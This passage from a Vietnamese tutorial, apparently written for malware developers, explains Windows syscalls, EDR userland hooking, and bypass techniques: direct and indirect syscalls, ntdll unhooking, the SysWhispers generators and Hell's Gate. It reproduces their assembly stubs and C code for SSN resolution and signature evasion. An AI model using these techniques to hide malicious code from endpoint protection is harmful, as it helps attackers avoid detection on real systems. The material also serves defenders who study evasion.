Introduction

What Are Syscalls?

Windows system call hay syscall là một interface để các chương trình có thể tương tác với hệ điều hành. Cụ thể hơn, nó cho phép các chương trình có thể yêu cầu hệ điều hành thực hiện những chức năng low-level chẳng hạn như tạo file, tạo tiến trình hoặc cấp phát vùng nhớ.

Syscalls chính là các hàm thực hiện những chức năng của Windows APIs ở trong Windows kernel. Ví dụ, syscall NtAllocateVirtualMemory sẽ được gọi khi hàm VirtualAlloc hoặc hàm VirtualAllocEx được gọi. Khi được gọi, nó sẽ sao chép các đối số của người dùng truyền vào Window API đến kernel, thực thi chức năng được yêu cầu bởi Windows API rồi trả về kết quả cho chương trình.

Tất cả các syscall đều trả về một giá trị thuộc kiểu NTSTATUS cho biết mã lỗi. Trong trường hợp không có lỗi, giá trị của NTSTATUSSTATUS_SUCCESS (0).

Đa số các syscall được export từ ntdll.dll và không được mô tả cụ thể bởi Windows nên ta sẽ dùng thêm các tài liệu sau:

Why Use Syscall?

Việc sử dụng syscall cho phép truy cập trực tiếp vào các chức năng low-level của hệ điều hành, giúp thực thi các hành động mà Windows API không hỗ trợ hoặc quá phức tạp để thực hiện bởi Windows API. Ví dụ, syscall NtCreateUserProcess cung cấp nhiều tùy chọn khác khi tạo tiến trình mà CreateProcess không có.

Ngoài ra, syscall còn có thể được dùng để bypass các EDR.

Nt Vs Zw Syscalls

Có hai loại syscall:

  • Nt syscall là interface chính cho các chương trình chạy ở user-mode và được sử dụng bởi đa số các chương trình trong Windows.
  • Zw syscall là kernel-mode interface cho các chương trình chạy ở kernel-mode chẳng hạn như các driver mà cần truy cập trực tiếp vào các chức năng của máy tính.

Ta có thể sử dụng cả 2 loại syscall này ở trong các chương trình chạy ở user-mode và cho ra cùng một kết quả.

Ngoài ra, địa chỉ của 2 syscall cùng chức năng nhưng khác loại cũng giống nhau:

Info

Để đơn giản hóa, ta chỉ sử dụng các Nt syscall.

Syscall Service Number

Mỗi syscall có một con số được gọi là Syscall Service Number (SSN). Chúng được sử dụng bởi kernel để phân biệt các syscall với nhau.

Differing SSNs By OS

SSN của các syscall sẽ khác nhau đối với các major version (chẳng hạn 10 với 11) và minor version (chẳng hạn 11 21h2 với 11 22h2) của hệ điều hành. Ví dụ NtAllocateVirtualMemory có thể có SSN là 24 ở một version của Windows nhưng lại có SSN là 34 ở một version khác của Windows.

Syscalls In Memory

Trong vùng nhớ, các syscall sẽ được sắp xếp nằm cạnh nhau theo thứ tự tăng dần của SSN và thứ tự này là cố định đối với từng phiên bản của hệ điều hành:

Có thể thấy trong hình trên: SSN chính là toán hạng thứ hai của các chỉ thị mov được khoanh đỏ và giá trị này được sắp xếp tăng dần.

Syscall Structure

Ngoài ra, ta thấy rằng cấu trúc của syscall có dạng tổng quát như sau:

mov r10, rcx
mov eax, SSN
syscall

Với:

  1. Dòng đầu tiên sẽ sao chép đối số của syscall ở trong thanh ghi rcx vào thanh ghi r10. Một cách tổng quát, dòng này là để thiết lập các đối số của syscall ở trên stack.
  2. Dòng thứ hai sẽ sao chép SSN vào thanh ghi eax.
  3. Dòng cuối là để chuyển giao việc thực thi từ user-mode thành kernel-mode bằng cách dùng chỉ thị syscall.

Ví dụ, hàm NtAllocateVirtualMemoryEx ở trong kiến trúc 64-bit:

Hàm NtCreateProcess ở trong kiến trúc 64-bit:

Chỉ thị testjne được dùng cho WOW64, là một hệ thống giúp chạy các chương trình 32-bit ở trên máy tính 64-bit. Các chỉ thị này sẽ không ảnh hưởng đến tiến trình nếu nó là một tiến trình 64-bit.

Not All Native APIs Are Syscalls

Cần chú ý rằng một số hàm của Native API trả về NTSTATUS nhưng không phải là syscall do không có cấu trúc của một syscall chẳng hạn như hàm LdrLoadDll dưới đây:

Thay vào đó, các Native API này là phiên bản low-level của các Windows API tương ứng. Một vài ví dụ khác:

  • SystemFunction032 và SystemFunction033 - cũng là các Native API và đã được giới thiệu ở RC4.
  • RtlCreateProcessParametersEx - được sử dụng bởi CreateProcess thuộc WinAPI để tạo các đối số của một tiến trình.

Privilege Mode Switching

Khi thực thi syscall (hay sysenter đối với kiến trúc 32-bit), CPU được chuyển từ user-mode sang kernel-mode để kernel có thể thực thi. Kernel sau đó sẽ thực thi chức năng được yêu cầu bởi syscall và trả lại kết quả cho chương trình ở user-mode.

Hình ảnh bên dưới minh họa cho program flow (call stack) của tiến trình notepad.exe khi chúng ta thực hiện lưu file:

Có thể thấy, hàm WriteFile của Windows API sẽ gọi đến NtWriteFile của ntdll.dll thuộc Native API. Hàm NtWriteFile này sẽ có nhiệm vụ thiết lập các đối số ở trên stack và sao chép SSN vào thanh ghi eax rồi gọi syscall như đã đề cập ở trên.

Sau khi gọi syscall và CPU chuyển sang kernel-mode, kernel sẽ sử dụng dispatch table (SSDT) để tìm đến hàm tương ứng với SSN, sao chép các đối số từ user-mode stack vào kernel-mode rồi thực thi hàm kernel của API (trong trường hợp này là ZwWriteFile).

Khi hàm kernel hoàn thành, nó cũng sẽ có program flow tương tự như khi chuyển từ user-mode sang kernel mode kèm theo các giá trị trả về chẳng hạn như handle đến file.

Seealso

Userland Hooking

Các giải pháp EDR thường xuyên thực hiện API Hooking trên các syscall nhằm giám sát và phân tích các chương trình trong lúc chạy.

Ví dụ, bằng cách hook vào syscall NtProtectVirtualMemory, EDR có thể phát hiện các lời gọi hàm high-level chẳng hạn như VirtualProtect kể cả khi hàm này bị không xuất hiện ở trong IAT.

Ta gọi đây là userland hooking do EDR chỉ hook vào interface của syscall ở trong ntdll.dll.

Trong khi đó, để thực hiện kernel hooking thì cần phải hook vào phần hiện thực của syscall ở trong kernel (hàm có tên bắt đầu bằng Zw) sau khi CPU được chuyển đổi từ user-mode sang kernel-mode. Tuy nhiên, Windows Patch Guard và các giải pháp bảo mật khác sẽ khiến cho việc thực hiện kernel hooking gần như là không thể. Ngoài ra, việc hook vào kernel có thể khiến cho chương trình bất ổn định và gây ra các hành vi không mong muốn.

EDR Hooking Demo

Trong hình minh họa bên dưới, chúng ta đã inject một DLL vào tiến trình ApcInjection.exe (thực thi shellcode bằng kỹ thuật APC Injection) nhằm hook vào syscall NtProtectVirtualMemory sử dụng thư viện Minhook1. Bất cứ khi nào có lời gọi đến syscall này, DLL sẽ in ra giá trị vùng nhớ nếu nó có chế độ bảo vệ là RX hay RWX. Đặc biệt, nếu chế độ bảo vệ là RWX thì DLL sẽ ngắt tiến trình.

Khi debug, ta thấy rằng mã máy của syscall sau khi bị hook có một chỉ thị jmp ở đầu cho biết rằng luồng thực thi sẽ được chuyển đến cho detour function:

Lần theo địa chỉ này thì ta sẽ đi đến detour function có tên là Hooked_NtProtectVirtualMemory:

Mã nguồn của Hooked_NtProtectVirtualMemory:

NTSTATUS WINAPI Hooked_NtProtectVirtualMemory(
	HANDLE      ProcessHandle,
	PVOID*		BaseAddress,
	PULONG      NumberOfBytesToProtect,
	ULONG       NewAccessProtection,
	PULONG      OldAccessProtection
){
	PRINT("[#] NtProtectVirtualMemory At [ 0x%p ] Of Size [ %d ] \n", (PVOID)*BaseAddress, (unsigned int)*NumberOfBytesToProtect);
	
	// if PAGE_EXECUTE_READWRITE = dump memory + terminate
	if ((NewAccessProtection & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) {
		PRINT("\t\t\t<<<!>>> [DETECTED] PAGE_EXECUTE_READWRITE [DETECTED] <<<!>>> \n");
		BlockExecution((PBYTE)*BaseAddress, (SIZE_T)*NumberOfBytesToProtect, TRUE);
	}
 
	// if PAGE_EXECUTE_READWRITE = dump memory + continue
	if ((NewAccessProtection & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ) {
		PRINT("\t\t\t<<<!>>> [DETECTED] PAGE_EXECUTE_READ [DETECTED] <<<!>>> \n");
		BlockExecution((PBYTE)*BaseAddress, (SIZE_T)*NumberOfBytesToProtect, FALSE);
	}
 
	// return the expected output
	return  g_NtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);
}

Với BlockExecution là hàm giúp in ra giá trị vùng nhớ hoặc ngắt tiến trình:

VOID BlockExecution(PBYTE pAddress, SIZE_T sSize, BOOL Terminate) {
 
	PRINT("\n\t------------------------------------[ MEMORY DUMP ]------------------------------------\n\n");
	for (int i = 0; i < sSize; i++) {
		if (i % 16 == 0) {
			PRINT("\n\t\t");
		}
		PRINT(" %02X", pAddress[i]);
	}
	PRINT("\n\n\t------------------------------------[ MEMORY DUMP ]------------------------------------\n\n");
 
	if (Terminate){
		/*
		LONG	MinHookErr = MH_OK;
 
		if ((MinHookErr = MH_RemoveHook(pNtProtectVirtualMemory)) != MH_OK) {
			ReportError("MH_RemoveHook", MinHookErr);
		}
		*/
		MessageBoxA(NULL, "Terminating The Process ... ", "Maldev Edr", MB_OKCANCEL | MB_ICONERROR);
		ExitProcess(1);
	}
}

Có thể thấy, việc hook vào syscall có sức mạnh rất to lớn trong việc giám sát chương trình khi nó đang chạy. Trong thực tế, các EDR thường hook vào một loạt các syscall để phát hiện các hành vi độc hại.

Bypassing Userland Syscall Hooks

Để bypass userland syscall hooking, ta có thể sử dụng các kỹ thuật sau:

  • Direct syscall
  • Undirect syscall
  • Unhooking

Direct Syscalls

Kỹ thuật này hoạt động bằng cách tạo ra một phiên bản hợp ngữ khác của syscall và sử dụng nó thay vì sử dụng syscall ở trong ntdll.dll. Ví dụ:

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    syscall
    ret
NtAllocateVirtualMemory ENDP

Trong ví dụ trên, thay vì gọi syscall NtAllocateVirtualMemory ở trong ntdll.dll mà đã bị hook bởi các EDR, chúng ta sẽ sử dụng syscall riêng của chúng ta mà không bị hook nhưng vẫn có chức năng tương tự.

Vấn đề của kỹ thuật này nằm ở việc xác định SSN của syscall cần gọi do giá trị này thay đổi giữa các phiên bản của hệ điều hành. Để giải quyết vấn đề này, ta có thể gán cứng giá trị SSN ở trong đoạn code hợp ngữ hoặc tính toán trong lúc chạy.

Indirect Syscalls

Kỹ thuật này được triển khai tương tự như direct syscall nhưng thay vì gọi sử dụng một chỉ thị syscall ở bên ngoài ntdll.dll thì chúng ta sẽ sử dụng một chỉ thị jmp đến chỉ thị syscall ở trong ntdll.dll.

Hàm hợp ngữ minh họa:

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP

Lợi ích của indirect syscall là giúp ta tránh được việc sử dụng các chỉ thị syscall ở bên ngoài không gian địa chỉ của ntdll.dll, vốn được xem là một hành vi đáng ngờ.

Unhooking

Hoạt động bằng cách thay thế ntdll.dll đã bị hook ở trong memory bằng phiên bản chưa được hook. Phiên bản này có thể có được từ nhiều nguồn nhưng cách tiếp cận phổ biến nhất vẫn là nạp lên từ đĩa.

Bằng cách này, chúng ta có thể loại bỏ các hook được cài đặt ở trong ntdll.dll.

SysWhispers

Là công cụ dùng để bypass userland hooking bằng cách sử dụng kỹ thuật Direct Syscalls.

How it Works?

SysWhispers tạo ra các custom direct syscall được viết bằng hợp ngữ mà ta có thể sử dụng. SSN của các syscall (lấy từ Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/2022/11)) được gán cứng cho tất cả các phiên bản của Windows mà SysWhispers hỗ trợ và sẽ được xác định trong lúc chạy.

SysWhispers hỗ trợ các syscall từ Windows XP đến Windows 10 19042 (20H2).

NtMapViewOfSection Example

SysWhispers sử dụng một Python script để tạo ra 2 file:

  • syscalls.asm: chứa các hàm hợp ngữ của các syscall mà có khả năng xác định SSN dựa trên OS của máy trong lúc chạy.
  • syscalls.h: chứa các hằng số, macro và các function signature của các syscall.

Ví dụ, hàm hợp ngữ của NtMapViewOfSection có thể có dạng như sau:

NtMapViewOfSection PROC
	mov rax, gs:[60h]                             ; Load PEB into RAX.
NtMapViewOfSection_Check_X_X_XXXX:                ; Check major version.
	cmp dword ptr [rax+118h], 5
	je  NtMapViewOfSection_SystemCall_5_X_XXXX
	cmp dword ptr [rax+118h], 6
	je  NtMapViewOfSection_Check_6_X_XXXX
	cmp dword ptr [rax+118h], 10
	je  NtMapViewOfSection_Check_10_0_XXXX
	jmp NtMapViewOfSection_SystemCall_Unknown
; ...
NtMapViewOfSection_Check_10_0_XXXX:              ; Check build number for Windows 10.
	cmp dword ptr [rax+120h], 10240
	je  NtMapViewOfSection_SystemCall_10_0_10240
	cmp dword ptr [rax+120h], 10586
	je  NtMapViewOfSection_SystemCall_10_0_10586
	cmp dword ptr [rax+120h], 14393
	je  NtMapViewOfSection_SystemCall_10_0_14393
	cmp dword ptr [rax+120h], 15063
	je  NtMapViewOfSection_SystemCall_10_0_15063
	cmp dword ptr [rax+120h], 16299
	je  NtMapViewOfSection_SystemCall_10_0_16299
	cmp dword ptr [rax+120h], 17134
	je  NtMapViewOfSection_SystemCall_10_0_17134
	cmp dword ptr [rax+120h], 17763
	je  NtMapViewOfSection_SystemCall_10_0_17763
	cmp dword ptr [rax+120h], 18362
	je  NtMapViewOfSection_SystemCall_10_0_18362
	cmp dword ptr [rax+120h], 18363
	je  NtMapViewOfSection_SystemCall_10_0_18363
	jmp NtMapViewOfSection_SystemCall_Unknown
; ...
NtMapViewOfSection_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
	mov eax, 0028h
	jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_Unknown:           ; Unknown/unsupported version.
	ret
NtMapViewOfSection_Epilogue:
	mov r10, rcx
	syscall
	ret
NtMapViewOfSection ENDP

Giải thích hàm NtMapViewOfSection ở trên:

  • Chỉ thị mov rax, gs:[60h] được dùng để sao chép thông tin về PEB từ thanh ghi GSvào thanh ghi RAX2.
  • Sau đó, hàm NtMapViewOfSection_Check_X_X_XXXX sẽ xác định major version của hệ điều hành ở trên máy. Có thể thấy, hàm này thực hiện so sánh major version trong PEB được lưu tại [rax+118h] (OSMajorVersion) với 5, 610. Nếu match, nó sẽ nhảy đến hàm hợp ngữ tương ứng dùng để xác định minor version chẳng hạn như NtMapViewOfSection_Check_10_0_XXXX.
  • Bên trong hàm NtMapViewOfSection_Check_10_0_XXXX cũng là các chỉ thị cmp giúp so sánh minor version trong PEB được lưu tại [rax+120h] (OSMinorVersion) với một số minor version cụ thể. Khi match, nó sẽ nhảy đến hàm giúp lưu SSN của phiên bản OS tương ứng vào thanh ghi eax.
  • Cuối cùng, NtMapViewOfSection_Epilogue sẽ giúp thực thi syscall.

SysWhispers2

Điểm khác biệt giữa SysWhipers2 với SysWhisper là nó không yêu cầu người dùng chỉ định phiên bản hệ điều hành khi sử dụng (chẳng hạn như 7, 8, 10 hoặc tất cả) và không gán cứng SSN cho các phiên bản được chỉ định rồi xác định trong lúc chạy.

Lý do là vì nó không còn sử dụng Windows X86-64 System Call Table nữa mà sử dụng một kỹ thuật có tên là Sorting By System Call Address nhằm xác định SSN của syscall. Điều này giúp chúng ta loại bỏ được các hàm hợp ngữ nặng nề.

Sorting By System Call Address

Kỹ thuật này hoạt động bằng cách tìm tất cả các syscall bắt đầu với chuỗi Zw rồi lưu địa chỉ của chúng trong một mảng và sắp xếp các phần tử dựa trên địa chỉ theo thứ tự tăng dần. SSN của các syscall sẽ là index của nó ở trong mảng.

Implementation

Kỹ thuật Sorting By System Call Address được thực hiện bởi hàm SW2_PopulateSyscallList ở trong file Syscalls.c được sinh ra bởi SysWhispers2.

Đầu tiên, hàm này thực hiện lặp qua tất cả các DLL được nạp vào tiến trình để tìm ntdll.dll3:

// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
	DllBase = LdrEntry->DllBase;
	PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
	PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
	PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
	DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	if (VirtualAddress == 0) continue;
 
	ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
 
	// If this is NTDLL.dll, exit loop.
	PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
 
	if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
	if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}
 
#ifdef RANDSYSCALL
#ifdef _WIN64
    ntdllBase = (uint64_t)DllBase;
#else
    ntdllBase = (uint64_t)DllBase;
#endif
#endif

Có thể thấy, đoạn code trên thực hiện so sánh DllName với chuỗi ntdll.dll mà bị đảo ngược và xẻ làm đôi để né tránh signature-based detection.

Ngoài ra, hàm SW2_RVA2VA là hàm dùng để chuyển địa chỉ tương đối (offset hay RVA) sang địa chỉ tuyệt đối.

Sau khi có được địa chỉ cơ sở của ntdll.dll thông qua việc enum các DLL, SW2_PopulateSyscallList sẽ tiến hành tìm các hàm được export ra từ ntdll.dll mà có tên bắt đầu bằng Zw rồi lưu giá trị hash (phục vụ cho việc tìm kiếm mà không để lại signature) và địa chỉ (phục vụ cho việc sắp xếp) của chúng.

DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
 
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
	PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
 
	// Is this a system call?
	if (*(USHORT*)FunctionName == 'wZ')
	{
		Entries[i].Hash = SW2_HashSyscall(FunctionName);
		Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
 
		i++;
		if (i == SW2_MAX_ENTRIES) break;
	}
} while (--NumberOfNames);

Định nghĩa kiểu dữ liệu PSW2_SYSCALL_ENTRY của mảng Entries:

typedef struct _SW2_SYSCALL_ENTRY
{
    DWORD Hash;
    DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;

Còn đây là kiểu dữ liệu của SW2_SyscallList:

typedef struct _SW2_SYSCALL_LIST
{
    DWORD Count;
    SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;

Cuối cùng, SW2_PopulateSyscallList sẽ sắp xếp các phần tử trong mảng Entries theo thứ tự tăng dần của địa chỉ sử dụng thuật toán bubble sort:

// Save total number of system calls found.
SW2_SyscallList.Count = i;
 
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
	for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
	{
		if (Entries[j].Address > Entries[j + 1].Address)
		{
			// Swap entries.
			SW2_SYSCALL_ENTRY TempEntry;
 
			TempEntry.Hash = Entries[j].Hash;
			TempEntry.Address = Entries[j].Address;
 
			Entries[j].Hash = Entries[j + 1].Hash;
			Entries[j].Address = Entries[j + 1].Address;
 
			Entries[j + 1].Hash = TempEntry.Hash;
			Entries[j + 1].Address = TempEntry.Address;
		}
	}
}

Để tìm SSN của một syscall, chúng ta cần tìm thông qua giá trị hash của nó sử dụng hàm bên dưới:

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW2_SyscallList is populated.
    if (!SW2_PopulateSyscallList()) return -1;
 
    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
    {
        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }
 
    return -1;
}

Cụ thể hơn, SSN của syscall chính là index của nó ở trong mảng Entries sau khi đã được sắp xếp.

Sample Output

Hàm hợp ngữ được sinh ra bởi SysWhispers2:

.data
currentHash DWORD 0
 
.code
EXTERN SW2_GetSyscallNumber: PROC
    
WhisperMain PROC
    pop rax
    mov [rsp+ 8], rcx              ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, currentHash
    call SW2_GetSyscallNumber
    add rsp, 28h
    mov rcx, [rsp+ 8]              ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    syscall                        ; Issue syscall
    ret
WhisperMain ENDP
 
NtMapViewOfSection PROC
    mov currentHash, 060C9AE95h    ; Load function hash into global variable.
    call WhisperMain               ; Resolve function hash into syscall number and make the call
NtMapViewOfSection ENDP
 
end

Với:

  • 060C9AE95h là giá trị hash của chuỗi ZwMapViewOfSection.
  • Hàm NtMapViewOfSection sẽ thực hiện:
    • Nạp giá trị hash vào biến toàn cục currentHash.
    • Gọi WhisperMain để thực thi syscall.
  • Hàm WhisperMain sẽ thực hiện:
    • Lưu giá trị của các thanh ghi vào stack sử dụng các chỉ thị mov [rsp+XX], XXX do việc gọi hàm SW2_GetSyscallNumber sẽ làm thay đổi giá trị của các thanh ghi này.
    • Gọi SW2_GetSyscallNumber ở trên để chuyển giá trị hash thành SSN.
    • Khôi phục giá trị của các thanh ghi sử dụng các chỉ thị mov XXX, [rsp+ XX].
    • Thực thi syscall.

Note

Hàm SW2_GetSyscallNumber sẽ trả về giá trị ở trong thanh ghi eax và do đó mà ta không cần sao chép SSN vào eax nữa.

SysWhispers3

SysWhisper3 khác với hai phiên bản trước ở chỗ nó tạo ra các custom indirect syscall sử dụng kỹ thuật Indirect Syscalls. Cụ thể hơn, các syscall này sẽ sử dụng chỉ thị syscall ở trong không gian địa chỉ của ntdll.dll để làm giảm sự đáng ngờ của malware.

Hơn thế nữa, SysWhisper3 có tùy chọn jumper_randomized cho phép thực hiện việc nhảy đến chỉ thị syscall của một hàm ngẫu nhiên ở trong không gian địa chỉ của ntdll.dll. Ví dụ, khi gọi syscall NtAllocateVirtualMemory với option này, chỉ thị syscall được sử dụng có thể là của syscall NtTestAlert chứ không phải là của NtAllocateVirtualMemory.

Ngoài ra, tương tự với SysWhispers2, SysWhispers3 cũng sử dụng kỹ thuật Sorting By System Call Address để tìm và xác định SSN trong khi chạy.

Ví dụ, hàm hợp ngữ của syscall NtMapViewOfSection khi được tạo ra bởi SysWhispers3:

.code
 
EXTERN SW3_GetSyscallNumber: PROC
 
EXTERN SW3_GetRandomSyscallAddress: PROC
 
NtMapViewOfSection PROC
	mov [rsp +8], rcx                      ; Save registers.
	mov [rsp+16], rdx
	mov [rsp+24], r8
	mov [rsp+32], r9
	sub rsp, 28h
	mov ecx, 01A80161Bh                     ; Load function hash into ECX.
	call SW3_GetRandomSyscallAddress        ; Get a syscall offset from a different api.
	mov r15, rax                            ; Save the address of the syscall {since SW3_GetRandomSyscallAddress will return the address of the 'syscall' instruction in rax register}
	mov ecx, 01A80161Bh                     ; Re-Load function hash into ECX (optional).
	call SW3_GetSyscallNumber               ; Resolve function hash into syscall number. {Now, eax has the SSN}
	add rsp, 28h				
	mov rcx, [rsp+8]                        ; Restore registers.
	mov rdx, [rsp+16]
	mov r8, [rsp+24]
	mov r9, [rsp+32]
	mov r10, rcx
	jmp r15                                 ; Jump to -> Invoke system call. {r15 is the address of a random 'syscall' instruction in ntdll.dll}
NtMapViewOfSection ENDP
 
end

Hàm SW3_GetSyscallNumber tương tự với hàm SW2_GetSyscallNumber của SysWhispers2 do chúng đều được dùng để chuyển giá trị hash của syscall thành SSN tương ứng.

Trong khi đó, hàm SW3_GetRandomSyscallAddress được dùng để tìm địa chỉ của một chỉ thị syscall ngẫu nhiên ở trong không gian địa chỉ của ntdll.dll:

EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;
 
    DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
 
    while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
        // Spoofing the syscall return address
        index = ((DWORD) rand()) % SW3_SyscallList.Count;
    }
    return SW3_SyscallList.Entries[index].SyscallAddress;
}

Có thể thấy, hàm này thực hiện tìm kiếm trong mảng Entries đến khi tìm ra được một syscall khác với syscall được chỉ định (thông qua tham số FunctionHash). Khi đó, nó sẽ lưu lại SSN của syscall và trả về địa chỉ của chỉ thị syscall tương ứng với SSN đã lưu.

Với kiểu dữ liệu PSW3_SYSCALL_ENTRY của Entries được định nghĩa như sau:

typedef struct _SW3_SYSCALL_ENTRY
{
    DWORD Hash;
    DWORD Address;
	PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;

Để có được địa chỉ của chỉ thị syscall và lưu vào thuộc tính SyscallAddress, SysWhispers3 gọi hàm SC_Address ở trong hàm SW3_PopulateSyscallList:

do
{
	PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
 
	// Is this a system call?
	if (*(USHORT*)FunctionName == 0x775a)
	{
		Entries[i].Hash = SW3_HashSyscall(FunctionName);
		Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
		Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
 
		i++;
		if (i == SW3_MAX_ENTRIES) break;
	}
} while (--NumberOfNames);

Cụ thể hơn, hàm SC_Address sẽ tìm kiếm chuỗi byte 0x0f, 0x05, 0xc3 (đối với 64-bit) hoặc chuỗi byte 0x0f, 0x34, 0xc3 (đối với 32-bit) tính từ địa chỉ của syscall.

Hell’s Gate

Hell’s Gate là một cách tiếp cận khác của kỹ thuật Direct Syscalls: nó không gán cứng các SSN hay sử dụng Sorting By System Call Address để xác định SSN trong khi chạy mà thay vào đó là thực hiện tìm kiếm syscall ở trong ntdll.dll rồi thực thi, kể cả khi syscall bị hook.

Paper của Hell’s Gate: HellsGate.pdf.

Khác với SysWhispers, Hell’s Gate không phải là một công cụ và nó không tạo ra các file có chứa các custom syscall. Thay vào đó, ta chỉ tái sử dụng lại những đoạn code có sẵn của nó ở trong malware của chúng ta nhằm triển khai kỹ thuật đã nêu.

Syscall Structure

Chúng ta sẽ sử dụng cấu trúc sau để thể hiện một syscall:

typedef struct _VX_TABLE_ENTRY {
	PVOID   pAddress;             // The address of a syscall function
	DWORD64 dwHash;               // The hash value of the syscall name
	WORD    wSystemCall;          // The SSN of the syscall
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

Syscalls Table

Ta cũng cần định nghĩa cấu trúc như sau để khai báo các syscall entry mà ta muốn sử dụng ở trong malware:

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtCreateThreadEx;
	VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

Ta gọi cấu trúc trên là syscall table.

Main Function

Hàm main của Hell’s Gate trước tiên truy xuất TEB thông qua hàm RtlGetThreadEnvironmentBlock rồi truy xuất PEB.

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
	return 0x1;

Sau đó, nó sẽ lấy base address của ntdll.dll thông qua danh sách các DLL của PEB (InMemoryOrderModuleList):

// Get NTDLL module 
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

Có thể thấy, do ntdll.dll luôn là DLL đầu tiên được nạp vào tiến trình nên ta có thể truy xuất địa chỉ cơ sở của nó (thành phần Reserved2[0] đối với định nghĩa của Microsoft hay InInitializationOrderLinks.Flink đối với định nghĩa của Nirsoft4) bằng một offset cố định.

